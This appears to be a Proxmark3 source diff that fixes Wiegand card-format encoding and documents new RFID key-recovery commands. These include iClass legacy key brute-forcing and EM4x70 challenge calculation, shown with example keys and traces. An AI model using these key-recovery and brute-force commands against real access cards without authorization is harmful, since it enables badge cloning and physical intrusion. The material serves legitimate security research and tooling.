@ -695,9 +710,14 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) {
// Set port speed (Input and Output) // Set port speed (Input and Output)
cfsetispeed(&ti, stPortSpeed); cfsetispeed(&ti, stPortSpeed);
cfsetospeed(&ti, stPortSpeed); cfsetospeed(&ti, stPortSpeed);
// flush
tcflush(spu->fd, TCIOFLUSH);
bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1; bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1;
if (result) if (result) {
g_conn.uart_speed = uiPortSpeed; g_conn.uart_speed = uiPortSpeed;
}
return result; return result;
} }

View file

@ -154,7 +154,7 @@ static bool Pack_indasc27(wiegand_card_t *card, wiegand_message_t *packed, bool
if (card->OEM > 0) return false; // Not used in this format if (card->OEM > 0) return false; // Not used in this format
packed->Length = 27; packed->Length = 27;
set_nonlinear_field(packed, card->FacilityCode, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); set_nonlinear_field(packed, card->FacilityCode, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
set_nonlinear_field(packed, card->CardNumber, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23}); set_nonlinear_field(packed, card->CardNumber, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
if (preamble) if (preamble)
return add_HID_header(packed); return add_HID_header(packed);
@ -166,7 +166,7 @@ static bool Unpack_indasc27(wiegand_message_t *packed, wiegand_card_t *card) {
if (packed->Length != 27) return false; // Wrong length? Stop here. if (packed->Length != 27) return false; // Wrong length? Stop here.
card->FacilityCode = get_nonlinear_field(packed, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); card->FacilityCode = get_nonlinear_field(packed, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23}); card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
return true; return true;
} }
@ -591,7 +591,11 @@ static bool Pack_H10320(wiegand_card_t *card, wiegand_message_t *packed, bool pr
if (card->IssueLevel > 0) return false; // Not used in this format if (card->IssueLevel > 0) return false; // Not used in this format
if (card->OEM > 0) return false; // Not used in this format if (card->OEM > 0) return false; // Not used in this format
packed->Length = 36; // Set number of bits packed->Length = 37; // Set number of bits
// first bit is ONE.
set_bit_by_position(packed, 1, 0);
// This card is BCD-encoded rather than binary. Set the 4-bit groups independently. // This card is BCD-encoded rather than binary. Set the 4-bit groups independently.
for (uint32_t idx = 0; idx < 8; idx++) { for (uint32_t idx = 0; idx < 8; idx++) {
set_linear_field(packed, (uint64_t)(card->CardNumber / pow(10, 7 - idx)) % 10, idx * 4, 4); set_linear_field(packed, (uint64_t)(card->CardNumber / pow(10, 7 - idx)) % 10, idx * 4, 4);
@ -616,7 +620,10 @@ static bool Pack_H10320(wiegand_card_t *card, wiegand_message_t *packed, bool pr
static bool Unpack_H10320(wiegand_message_t *packed, wiegand_card_t *card) { static bool Unpack_H10320(wiegand_message_t *packed, wiegand_card_t *card) {
memset(card, 0, sizeof(wiegand_card_t)); memset(card, 0, sizeof(wiegand_card_t));
if (packed->Length != 36) return false; // Wrong length? Stop here. if (packed->Length != 37) return false; // Wrong length? Stop here.
if (get_bit_by_position(packed, 0) != 1) {
return false;
}
// This card is BCD-encoded rather than binary. Get the 4-bit groups independently. // This card is BCD-encoded rather than binary. Get the 4-bit groups independently.
for (uint32_t idx = 0; idx < 8; idx++) { for (uint32_t idx = 0; idx < 8; idx++) {
@ -1178,7 +1185,7 @@ static bool Pack_iscs38(wiegand_card_t *card, wiegand_message_t *packed, bool pr
set_linear_field(packed, card->FacilityCode, 5, 10); set_linear_field(packed, card->FacilityCode, 5, 10);
set_linear_field(packed, card->CardNumber, 15, 22); set_linear_field(packed, card->CardNumber, 15, 22);
set_linear_field(packed, card->IssueLevel, 1, 4); set_linear_field(packed, card->OEM, 1, 4);
set_bit_by_position(packed, set_bit_by_position(packed,
evenparity32(get_linear_field(packed, 1, 18)) evenparity32(get_linear_field(packed, 1, 18))
@ -1257,7 +1264,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
if (card->IssueLevel > 0) return false; // Not used in this format if (card->IssueLevel > 0) return false; // Not used in this format
if (card->OEM > 0x7F) return false; // Not used in this format if (card->OEM > 0x7F) return false; // Not used in this format
packed->Length = 39; // Set number of bits packed->Length = 40; // Set number of bits
set_linear_field(packed, card->OEM, 0, 7); set_linear_field(packed, card->OEM, 0, 7);
@ -1277,7 +1284,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) { static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) {
memset(card, 0, sizeof(wiegand_card_t)); memset(card, 0, sizeof(wiegand_card_t));
if (packed->Length != 39) return false; // Wrong length? Stop here. if (packed->Length != 40) return false; // Wrong length? Stop here.
card->OEM = get_linear_field(packed, 0, 7); card->OEM = get_linear_field(packed, 0, 7);
card->FacilityCode = get_linear_field(packed, 7, 12); card->FacilityCode = get_linear_field(packed, 7, 12);
@ -1433,12 +1440,12 @@ static const cardformat_t FormatTable[] = {
{"ind26", Pack_ind26, Unpack_ind26, "Indala 26-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"ind26", Pack_ind26, Unpack_ind26, "Indala 26-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"ind27", Pack_ind27, Unpack_ind27, "Indala 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"ind27", Pack_ind27, Unpack_ind27, "Indala 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"indasc27", Pack_indasc27, Unpack_indasc27, "Indala ASC 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"indasc27", Pack_indasc27, Unpack_indasc27, "Indala ASC 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"Tecom27", Pack_Tecom27, Unpack_Tecom27, "Tecom 27-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"Tecom27", Pack_Tecom27, Unpack_Tecom27, "Tecom 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"2804W", Pack_2804W, Unpack_2804W, "2804 Wiegand 28-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"2804W", Pack_2804W, Unpack_2804W, "2804 Wiegand 28-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"ind29", Pack_ind29, Unpack_ind29, "Indala 29-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"ind29", Pack_ind29, Unpack_ind29, "Indala 29-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"ATSW30", Pack_ATSW30, Unpack_ATSW30, "ATS Wiegand 30-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"ATSW30", Pack_ATSW30, Unpack_ATSW30, "ATS Wiegand 30-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"ADT31", Pack_ADT31, Unpack_ADT31, "HID ADT 31-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"ADT31", Pack_ADT31, Unpack_ADT31, "HID ADT 31-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"HCP32", Pack_hcp32, Unpack_hcp32, "HID Check Point 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"HCP32", Pack_hcp32, Unpack_hcp32, "HID Check Point 32-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"HPP32", Pack_hpp32, Unpack_hpp32, "HID Hewlett-Packard 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"HPP32", Pack_hpp32, Unpack_hpp32, "HID Hewlett-Packard 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"Kastle", Pack_Kastle, Unpack_Kastle, "Kastle 32-bit", {1, 1, 1, 0, 1}}, // from @xilni; PR #23 on RfidResearchGroup/proxmark3 {"Kastle", Pack_Kastle, Unpack_Kastle, "Kastle 32-bit", {1, 1, 1, 0, 1}}, // from @xilni; PR #23 on RfidResearchGroup/proxmark3
{"Kantech", Pack_Kantech, Unpack_Kantech, "Indala/Kantech KFS 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"Kantech", Pack_Kantech, Unpack_Kantech, "Indala/Kantech KFS 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
@ -1453,7 +1460,7 @@ static const cardformat_t FormatTable[] = {
{"C15001", Pack_C15001, Unpack_C15001, "HID KeyScan 36-bit", {1, 1, 0, 1, 1}}, // from Proxmark forums {"C15001", Pack_C15001, Unpack_C15001, "HID KeyScan 36-bit", {1, 1, 0, 1, 1}}, // from Proxmark forums
{"S12906", Pack_S12906, Unpack_S12906, "HID Simplex 36-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au {"S12906", Pack_S12906, Unpack_S12906, "HID Simplex 36-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au
{"Sie36", Pack_Sie36, Unpack_Sie36, "HID 36-bit Siemens", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"Sie36", Pack_Sie36, Unpack_Sie36, "HID 36-bit Siemens", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"H10320", Pack_H10320, Unpack_H10320, "HID H10320 36-bit BCD", {1, 0, 0, 0, 1}}, // from Proxmark forums {"H10320", Pack_H10320, Unpack_H10320, "HID H10320 37-bit BCD", {1, 0, 0, 0, 1}}, // from Proxmark forums
{"H10302", Pack_H10302, Unpack_H10302, "HID H10302 37-bit huge ID", {1, 0, 0, 0, 1}}, // from Proxmark forums {"H10302", Pack_H10302, Unpack_H10302, "HID H10302 37-bit huge ID", {1, 0, 0, 0, 1}}, // from Proxmark forums
{"H10304", Pack_H10304, Unpack_H10304, "HID H10304 37-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"H10304", Pack_H10304, Unpack_H10304, "HID H10304 37-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"P10004", Pack_P10004, Unpack_P10004, "HID P10004 37-bit PCSC", {1, 1, 0, 0, 0}}, // from @bthedorff; PR #1559 {"P10004", Pack_P10004, Unpack_P10004, "HID P10004 37-bit PCSC", {1, 1, 0, 0, 0}}, // from @bthedorff; PR #1559
@ -1462,7 +1469,7 @@ static const cardformat_t FormatTable[] = {
{"BQT38", Pack_bqt38, Unpack_bqt38, "BQT 38-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au {"BQT38", Pack_bqt38, Unpack_bqt38, "BQT 38-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au
{"ISCS", Pack_iscs38, Unpack_iscs38, "ISCS 38-bit", {1, 1, 0, 1, 1}}, // from cardinfo.barkweb.com.au {"ISCS", Pack_iscs38, Unpack_iscs38, "ISCS 38-bit", {1, 1, 0, 1, 1}}, // from cardinfo.barkweb.com.au
{"PW39", Pack_pw39, Unpack_pw39, "Pyramid 39-bit wiegand format", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"PW39", Pack_pw39, Unpack_pw39, "Pyramid 39-bit wiegand format", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"P10001", Pack_P10001, Unpack_P10001, "HID P10001 Honeywell 40-bit", {1, 1, 0, 1, 0}}, // from cardinfo.barkweb.com.au {"P10001", Pack_P10001, Unpack_P10001, "HID P10001 Honeywell 40-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"Casi40", Pack_CasiRusco40, Unpack_CasiRusco40, "Casi-Rusco 40-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"Casi40", Pack_CasiRusco40, Unpack_CasiRusco40, "Casi-Rusco 40-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"C1k48s", Pack_C1k48s, Unpack_C1k48s, "HID Corporate 1000 48-bit std", {1, 1, 0, 0, 1}}, // imported from old pack/unpack {"C1k48s", Pack_C1k48s, Unpack_C1k48s, "HID Corporate 1000 48-bit std", {1, 1, 0, 0, 1}}, // imported from old pack/unpack
{"BC40", Pack_bc40, Unpack_bc40, "Bundy TimeClock 40-bit", {1, 1, 0, 1, 1}}, // from {"BC40", Pack_bc40, Unpack_bc40, "Bundy TimeClock 40-bit", {1, 1, 0, 1, 1}}, // from

View file

@ -196,6 +196,10 @@ bool add_HID_header(wiegand_message_t *data) {
if (data->Length > 84 || data->Length == 0) if (data->Length > 84 || data->Length == 0)
return false; return false;
if (data->Length == 48) {
data->Mid |= 1U << (data->Length - 32); // Example leading 1: start bit
return true;
}
if (data->Length >= 64) { if (data->Length >= 64) {
data->Top |= 0x09e00000; // Extended-length header data->Top |= 0x09e00000; // Extended-length header
data->Top |= 1U << (data->Length - 64); // leading 1: start bit data->Top |= 1U << (data->Length - 64); // leading 1: start bit

View file

@ -189,9 +189,9 @@
"options": [ "options": [
"-h, --help This help", "-h, --help This help",
"-d <hex> ASN1 encoded byte array", "-d <hex> ASN1 encoded byte array",
"-t, --test perform self test" "--test perform self tests"
], ],
"usage": "data asn1 [-ht] [-d <hex>]" "usage": "data asn1 [-h] [-d <hex>] [--test]"
}, },
"data atr": { "data atr": {
"command": "data atr", "command": "data atr",
@ -3163,7 +3163,8 @@
"description": "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag", "description": "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag",
"notes": [ "notes": [
"hf iclass chk -f iclass_default_keys.dic", "hf iclass chk -f iclass_default_keys.dic",
"hf iclass chk -f iclass_elite_keys.dic --elite" "hf iclass chk -f iclass_elite_keys.dic --elite",
"hf iclass chk --vb6kdf"
], ],
"offline": false, "offline": false,
"options": [ "options": [
@ -3172,9 +3173,10 @@
"--credit key is assumed to be the credit key", "--credit key is assumed to be the credit key",
"--elite elite computations applied to key", "--elite elite computations applied to key",
"--raw no computations applied to key (raw)", "--raw no computations applied to key (raw)",
"--shallow use shallow (ASK) reader modulation instead of OOK" "--shallow use shallow (ASK) reader modulation instead of OOK",
"--vb6kdf use the VB6 elite KDF instead of a file"
], ],
"usage": "hf iclass chk [-h] -f <fn> [--credit] [--elite] [--raw] [--shallow]" "usage": "hf iclass chk [-h] [-f <fn>] [--credit] [--elite] [--raw] [--shallow] [--vb6kdf]"
}, },
"hf iclass configcard": { "hf iclass configcard": {
"command": "hf iclass configcard", "command": "hf iclass configcard",
@ -3370,7 +3372,7 @@
}, },
"hf iclass help": { "hf iclass help": {
"command": "hf iclass help", "command": "hf iclass help",
"description": "help This help list List iclass history view Display content from tag dump file ----------- --------------------- Recovery -------------------- loclass Use loclass to perform bruteforce reader attack lookup Uses authentication trace to check for key in dictionary file ----------- ---------------------- Utils ---------------------- calcnewkey Calc diversified keys (blocks 3 & 4) to write new keys encode Encode binary wiegand to block 7 encrypt Encrypt given block data decrypt Decrypt given block data or tag dump file managekeys Manage keys to use with iclass commands permutekey Permute function from 'heart of darkness' paper --------------------------------------------------------------------------------------- hf iclass list available offline: yes Alias of `trace list -t iclass -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "description": "help This help list List iclass history view Display content from tag dump file ----------- --------------------- Recovery -------------------- loclass Use loclass to perform bruteforce reader attack lookup Uses authentication trace to check for key in dictionary file legbrute Bruteforces 40 bits of a partial raw key ----------- ---------------------- Utils ---------------------- calcnewkey Calc diversified keys (blocks 3 & 4) to write new keys encode Encode binary wiegand to block 7 encrypt Encrypt given block data decrypt Decrypt given block data or tag dump file managekeys Manage keys to use with iclass commands permutekey Permute function from 'heart of darkness' paper --------------------------------------------------------------------------------------- hf iclass list available offline: yes Alias of `trace list -t iclass -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol",
"notes": [ "notes": [
"hf iclass list --frame -> show frame delay times", "hf iclass list --frame -> show frame delay times",
"hf iclass list -1 -> use trace buffer" "hf iclass list -1 -> use trace buffer"
@ -3402,6 +3404,35 @@
], ],
"usage": "hf iclass info [-h] [--shallow]" "usage": "hf iclass info [-h] [--shallow]"
}, },
"hf iclass legbrute": {
"command": "hf iclass legbrute",
"description": "This command take sniffed trace data and partial raw key and bruteforces the remaining 40 bits of the raw key.",
"notes": [
"hf iclass legbrute --csn 8D7BD711FEFF12E0 --epurse feffffffffffffff --macs 00000000BD478F76 --pk B4F12AADC5301225"
],
"offline": true,
"options": [
"-h, --help This help",
"--csn <hex> Specify CSN as 8 hex bytes",
"--epurse <hex> Specify ePurse as 8 hex bytes",
"--macs <hex> MACs",
"--pk <hex> Partial Key"
],
"usage": "hf iclass legbrute [-h] --csn <hex> --epurse <hex> --macs <hex> --pk <hex>"
},
"hf iclass legrec": {
"command": "hf iclass legrec",
"description": "Attempts to recover the diversified key of a specific iClass card. This may take a long time. The Card must remain be on the PM3 antenna during the whole process! This process may brick the card!",
"notes": [
"hf iclass legrec --macs 0000000089cb984b"
],
"offline": false,
"options": [
"-h, --help This help",
"--macs <hex> MACs"
],
"usage": "hf iclass legrec [-h] --macs <hex>"
},
"hf iclass loclass": { "hf iclass loclass": {
"command": "hf iclass loclass", "command": "hf iclass loclass",
"description": "Execute the offline part of loclass attack An iclass dumpfile is assumed to consist of an arbitrary number of malicious CSNs, and their protocol responses The binary format of the file is expected to be as follows: <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC> <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC> <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC> ... totalling N*24 bytes", "description": "Execute the offline part of loclass attack An iclass dumpfile is assumed to consist of an arbitrary number of malicious CSNs, and their protocol responses The binary format of the file is expected to be as follows: <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC> <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC> <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC> ... totalling N*24 bytes",
@ -3423,7 +3454,8 @@
"description": "This command take sniffed trace data and try to recovery a iCLASS Standard or iCLASS Elite key.", "description": "This command take sniffed trace data and try to recovery a iCLASS Standard or iCLASS Elite key.",
"notes": [ "notes": [
"hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic", "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic",
"hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite" "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite",
"hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b --vb6rng"
], ],
"offline": true, "offline": true,
"options": [ "options": [
@ -3433,9 +3465,10 @@
"--epurse <hex> Specify ePurse as 8 hex bytes", "--epurse <hex> Specify ePurse as 8 hex bytes",
"--macs <hex> MACs", "--macs <hex> MACs",
"--elite Elite computations applied to key", "--elite Elite computations applied to key",
"--raw no computations applied to key" "--raw no computations applied to key",
"--vb6rng use the VB6 rng for elite keys instead of a dictionary file"
], ],
"usage": "hf iclass lookup [-h] -f <fn> --csn <hex> --epurse <hex> --macs <hex> [--elite] [--raw]" "usage": "hf iclass lookup [-h] [-f <fn>] --csn <hex> --epurse <hex> --macs <hex> [--elite] [--raw] [--vb6rng]"
}, },
"hf iclass managekeys": { "hf iclass managekeys": {
"command": "hf iclass managekeys", "command": "hf iclass managekeys",
@ -9016,11 +9049,29 @@
], ],
"usage": "lf em 4x70 autorecover [-h] [--par] --rnd <hex> --frn <hex> --grn <hex>" "usage": "lf em 4x70 autorecover [-h] [--par] --rnd <hex> --frn <hex> --grn <hex>"
}, },
"lf em 4x70 calc": {
"command": "lf em 4x70 calc",
"description": "Calculates both the reader and tag challenge for a user-provided key and rnd.",
"notes": [
"lf em 4x70 calc --key F32AA98CF5BE4ADFA6D3480B --rnd 45F54ADA252AAC (pm3 test key)",
"lf em 4x70 calc --key A090A0A02080000000000000 --rnd 3FFE1FB6CC513F (research paper key)",
"lf em 4x70 calc --key 022A028C02BE000102030405 --rnd 7D5167003571F8 (autorecovery test key)"
],
"offline": true,
"options": [
"-h, --help This help",
"--key <hex> Key 96-bit as 12 hex bytes",
"--rnd <hex> 56-bit random value sent to tag for authentication"
],
"usage": "lf em 4x70 calc [-h] --key <hex> --rnd <hex>"
},
"lf em 4x70 help": { "lf em 4x70 help": {
"command": "lf em 4x70 help", "command": "lf em 4x70 help",
"description": "help This help recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'", "description": "help This help calc Calculate EM4x70 challenge and response recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'",
"notes": [ "notes": [
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80" "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80 (pm3 test key)",
"lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 -> bruteforcing key bits k79...k64 (research paper key)",
"lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 -> bruteforcing key bits k63...k48 (autorecovery test key)"
], ],
"offline": true, "offline": true,
"options": [ "options": [
@ -9052,7 +9103,8 @@
"description": "After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover key bits 47..00. By default, this process does NOT require a tag to be present. By default, the potential keys are shown (typically 1-6) along with a corresponding 'lf em 4x70 auth' command that will authenticate, if that potential key is correct. The user can copy/paste these commands when the tag is present to manually check which of the potential keys is correct.", "description": "After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover key bits 47..00. By default, this process does NOT require a tag to be present. By default, the potential keys are shown (typically 1-6) along with a corresponding 'lf em 4x70 auth' command that will authenticate, if that potential key is correct. The user can copy/paste these commands when the tag is present to manually check which of the potential keys is correct.",
"notes": [ "notes": [
"lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)", "lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)",
"lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)" "lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)",
"lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)"
], ],
"offline": true, "offline": true,
"options": [ "options": [
@ -9518,7 +9570,7 @@
"-h, --help This help", "-h, --help This help",
"--nrar <hex> specify nonce / answer as 8 hex bytes" "--nrar <hex> specify nonce / answer as 8 hex bytes"
], ],
"usage": "lf hitag lookup [-h] [--nrar <hex>]" "usage": "lf hitag crack2 [-h] [--nrar <hex>]"
}, },
"lf hitag dump": { "lf hitag dump": {
"command": "lf hitag dump", "command": "lf hitag dump",
@ -9653,6 +9705,20 @@
], ],
"usage": "lf hitag read [-hs2] [--pwd] [--nrar <hex>] [--crypto] [-k <hex>]" "usage": "lf hitag read [-hs2] [--pwd] [--nrar <hex>] [--crypto] [-k <hex>]"
}, },
"lf hitag reader": {
"command": "lf hitag reader",
"description": "Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed",
"notes": [
"lf hitag reader",
"lf hitag reader -@ -> Continuous mode"
],
"offline": false,
"options": [
"-h, --help This help",
"-@ continuous reader mode"
],
"usage": "lf hitag reader [-h@]"
},
"lf hitag sim": { "lf hitag sim": {
"command": "lf hitag sim", "command": "lf hitag sim",
"description": "Simulate Hitag transponder You need to `lf hitag eload` first", "description": "Simulate Hitag transponder You need to `lf hitag eload` first",
@ -12699,8 +12765,8 @@
} }
}, },
"metadata": { "metadata": {
"commands_extracted": 735, "commands_extracted": 739,
"extracted_by": "PM3Help2JSON v1.00", "extracted_by": "PM3Help2JSON v1.00",
"extracted_on": "2024-05-14T08:02:41" "extracted_on": "2024-07-21T14:16:40"
} }
} }

View file

@ -402,6 +402,8 @@ Check column "offline" for their availability.
|`hf iclass chk `|N |`Check keys` |`hf iclass chk `|N |`Check keys`
|`hf iclass loclass `|Y |`Use loclass to perform bruteforce reader attack` |`hf iclass loclass `|Y |`Use loclass to perform bruteforce reader attack`
|`hf iclass lookup `|Y |`Uses authentication trace to check for key in dictionary file` |`hf iclass lookup `|Y |`Uses authentication trace to check for key in dictionary file`
|`hf iclass legrec `|N |`Attempts to recover the standard key of a legacy card`
|`hf iclass legbrute `|Y |`Bruteforces 40 bits of a partial raw key`
|`hf iclass sim `|N |`Simulate iCLASS tag` |`hf iclass sim `|N |`Simulate iCLASS tag`
|`hf iclass eload `|N |`Upload file into emulator memory` |`hf iclass eload `|N |`Upload file into emulator memory`
|`hf iclass esave `|N |`Save emulator memory to file` |`hf iclass esave `|N |`Save emulator memory to file`
@ -979,6 +981,7 @@ Check column "offline" for their availability.
|`lf em 4x70 auth `|N |`Authenticate EM4x70` |`lf em 4x70 auth `|N |`Authenticate EM4x70`
|`lf em 4x70 setpin `|N |`Write PIN` |`lf em 4x70 setpin `|N |`Write PIN`
|`lf em 4x70 setkey `|N |`Write key` |`lf em 4x70 setkey `|N |`Write key`
|`lf em 4x70 calc `|Y |`Calculate EM4x70 challenge and response`
|`lf em 4x70 recover `|Y |`Recover remaining key from partial key` |`lf em 4x70 recover `|Y |`Recover remaining key from partial key`
|`lf em 4x70 autorecover `|N |`Recover entire key from writable tag` |`lf em 4x70 autorecover `|N |`Recover entire key from writable tag`
@ -1046,6 +1049,7 @@ Check column "offline" for their availability.
|`lf hitag help `|Y |`This help` |`lf hitag help `|Y |`This help`
|`lf hitag list `|Y |`List Hitag trace history` |`lf hitag list `|Y |`List Hitag trace history`
|`lf hitag info `|N |`Hitag 2 tag information` |`lf hitag info `|N |`Hitag 2 tag information`
|`lf hitag reader `|N |`Act line an Hitag 2 reader`
|`lf hitag test `|Y |`Perform self tests` |`lf hitag test `|Y |`Perform self tests`
|`lf hitag dump `|N |`Dump Hitag 2 tag` |`lf hitag dump `|N |`Dump Hitag 2 tag`
|`lf hitag read `|N |`Read Hitag memory` |`lf hitag read `|N |`Read Hitag memory`

View file

@ -182,7 +182,7 @@ drop iclass-flipper.picopass file here and simulate on Flipper
## Using Omnikey Reader 5427CK Gen2 and Proxmark3 ## Using Omnikey Reader 5427CK Gen2 and Proxmark3
^[Top](#top) ^[Top](#top)
1. Download latest version of Omnikey workbench [here](https://www3.hidglobal.com/drivers/14994) 1. Download latest version of Omnikey workbench [here](https://www.hidglobal.com/drivers/37339)
2. Plug in Omnikey reader 2. Plug in Omnikey reader
3. Start Omnikey workbench 3. Start Omnikey workbench
4. Switch reader mode to CCID mode 4. Switch reader mode to CCID mode

View file

@ -127,7 +127,7 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo
| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous | HF_14ASNIFF | 14a sniff storing to flashmem - Micolous
| HF_14BSNIFF | 14b sniff - jacopo-j | HF_14BSNIFF | 14b sniff - jacopo-j
| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser | HF_15SNIFF | 15693 sniff storing to flashmem - Glaser
| HF_15SNIFF | 15693 simulator - lnv42 | HF_15SIM | 15693 simulator - lnv42
| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal | HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito | HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito
| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins | HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins

View file

@ -59,7 +59,7 @@ typedef struct {
typedef struct { typedef struct {
int status; int status;
uint8_t data[48]; uint8_t data[256];
} PACKED lf_hitag_crack_response_t; } PACKED lf_hitag_crack_response_t;
